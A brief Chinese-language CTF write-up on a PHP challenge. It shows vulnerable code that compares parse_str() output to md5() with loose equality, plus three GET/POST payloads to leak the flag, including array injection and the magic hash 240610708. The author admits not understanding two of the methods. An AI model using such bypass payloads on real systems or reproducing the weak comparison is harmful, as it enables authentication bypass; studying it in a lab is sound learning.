parse_str() 函数把查询字符串解析到变量中。(以数组的方式)
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
法一:
$v2['flag']==md5($v3)
v2[]数组中是flag对应的值和v3的md5加密后的值进行比较,所以一定要让v1=flag 传参
GET
?v3=1
POST
v1=flag=c4ca4238a0b923820dcc509a6f75849b
法二:
GET
?v3[]=1
POST
v1=
md5无法解析数组,会null,这时如果v2['flag']也为空就可以执行下去,但是v1一定要传才能判断下面的语句
v1=c4ca4238a0b923820dcc509a6f75849b
但是这样不知道为什么不行,v2['flag']应该也是空的,但是没用
法三:
GET
?v3=240610708
POST
v1=flag=0
不知道是为什么